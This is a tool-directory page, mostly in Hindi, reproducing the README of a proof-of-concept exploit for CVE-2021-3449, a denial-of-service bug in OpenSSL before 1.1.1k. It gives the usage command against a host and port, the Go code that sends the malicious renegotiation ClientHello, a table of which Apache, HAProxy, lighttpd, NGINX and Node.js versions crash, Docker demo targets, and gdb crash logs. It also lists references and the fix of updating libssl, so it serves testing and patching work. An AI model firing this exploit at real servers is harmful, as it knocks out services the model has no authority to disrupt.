Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/riptl/cve-2021-3449
भेद्यता विश्लेषणशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 OpenSSL डेनियल-ऑफ-सर्विस एक्सप्लॉइट 👨🏻‍💻

रिपॉजिटरी देखें
22437185 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-3449 OpenSSL <1.1.1k DoS शोषण

Usage: go run . -host hostname:port

यह प्रोग्राम CVE-2021-3449 का प्रूफ-ऑफ-कॉन्सेप्ट शोषण लागू करता है जो OpenSSL सर्वरों को pre-1.1.1k को प्रभावित करता है यदि TLSv1.2 सुरक्षित पुनर्वार्ता स्वीकार की जाती है।

यह TLSv1.2 सर्वर से जुड़ता है और तुरंत RFC 5746 "सुरक्षित पुनर्वार्ता" शुरू करता है। हमले में एक दुर्भावनापूर्ण रूप से तैयार ClientHello शामिल है जो NULL पॉइंटर डीरेफरेंस (सेवा से वंचित) के कारण सर्वर को क्रैश कर देता है।

संदर्भ

  • OpenSSL सुरक्षा सलाहकार
  • cve.mitre.org
  • Ubuntu सुरक्षा सूचना (USN-4891-1)
  • Debian सुरक्षा ट्रैकर
  • Red Hat CVE प्रविष्टि

यह मुद्दा 17 मार्च 2021 को Nokia द्वारा OpenSSL को सूचित किया गया था। सुधार Nokia के Peter Kästle और Samuel Sapalski द्वारा विकसित किया गया था।

शमन

एकमात्र ज्ञात सुधार libssl1.1 को अपडेट करना है।

भले ही कुछ एप्लिकेशन डिफ़ॉल्ट रूप से सख्त TLS कॉन्फ़िगरेशन का उपयोग करते हैं जो TLS पुनर्वार्ता को अक्षम करते हैं, फिर भी वे पुराने OpenSSL संस्करण चलाने पर बग से प्रभावित होते हैं।

शोषण

main.go एक छोटी स्क्रिप्ट है जो TLS सर्वर से जुड़ती है, पुनर्वार्ता को मजबूर करती है, और डिस्कनेक्ट हो जाती है।

शोषण कोड को Go 1.14.15 encoding/tls पैकेज के बंडल संस्करण में इंजेक्ट किया गया था। आप इसे handshake_client.go:115 में पा सकते हैं। तर्क स्वयं-व्याख्यात्मक है।

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

डेमो

demo/ निर्देशिका विभिन्न ऐप्स को OpenSSL के कमजोर संस्करण के साथ पैच करने के लिए कॉन्फ़िगरेशन रखती है।

परीक्षण सेटअप:

  • कमजोर OpenSSL 1.1.1j संस्करण को स्थानीय रूप से डाउनलोड और संकलित करें
  • Ubuntu 20.04 लक्ष्य कंटेनर तैयार करें और OpenSSL लाइब्रेरी अपलोड करें
  • लक्ष्य कंटेनर पर एप्लिकेशन स्थापित करें
  • सर्वर प्रारंभ करें और हमला निष्पादित करें

आवश्यकताएँ:

  • OpenSSL (होस्ट पर)
  • build-essential (Perl, GCC, Make)
  • Docker

नोट: सूचीबद्ध वेब सर्वरों में से कोई भी OpenSSL 1.1.1k या बाद के संस्करण के साथ CVE-2021-3449 के प्रति कमजोर नहीं है।

सर्वरवितरणसंस्करणडेमोपरिणाम
OpenSSL s_server-1.1.1jmake demo-opensslक्रैश
Apache2Ubuntu 18.042.4.29make demo-apache2आंशिक क्रैश
HAProxyUbuntu 18.041.8.8make demo-haproxyक्रैश
HAProxyUbuntu 20.042.0.13make demo-haproxyकोई प्रभाव नहीं
lighttpdUbuntu 18.041.4.55make demo-lighttpdक्रैश
lighttpdUbuntu 20.041.4.55make demo-lighttpdक्रैश
lighttpdUbuntu 21.041.4.59make demo-lighttpdकॉन्फ़िग विकल्प के साथ कोई प्रभाव नहीं
NGINXUbuntu 18.041.14.0make demo-nginxआंशिक क्रैश
NGINXUbuntu 20.041.18.0make demo-nginxकोई प्रभाव नहीं
Node.js <=12Ubuntu 18.04कोई प्रभाव नहीं
Node.js >12Ubuntu 18.04?make demo-nodejsक्रैश
Node.js >12Ubuntu 18.0415.14.0make demo-nodejsकोई प्रभाव नहीं

सभी डेमो संसाधनों को साफ करने के लिए, make clean चलाएं।

OpenSSL सरल सर्वर

openssl s_server एक न्यूनतम TLS सर्वर कार्यान्वयन है।

  • make demo-openssl: पूर्ण रन (पोर्ट 4433)
  • make -C demo build-openssl: लक्ष्य Docker इमेज बनाएं
  • make -C demo start-openssl: पोर्ट 4433 पर लक्ष्य प्रारंभ करें
  • make -C demo stop-openssl: लक्ष्य रोकें

परिणाम: पूर्ण सर्वर क्रैश।

लॉग्स

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

Apache2 httpd वेब सर्वर डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ कमजोर है।

  • make demo-apache: पूर्ण रन (पोर्ट 443)
  • make -C demo build-apache: लक्ष्य Docker इमेज बनाएं
  • make -C demo start-apache: पोर्ट 443 पर लक्ष्य प्रारंभ करें
  • make -C demo stop-apache: लक्ष्य रोकें

@binarytrails को योगदान के लिए धन्यवाद।

परिणाम: आंशिक व्यवधान, मुख्य प्रक्रिया अभी भी जीवित है लेकिन कार्य प्रक्रिया क्रैश हो गई।

लॉग्स

docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]
टूल डाउनलोड करें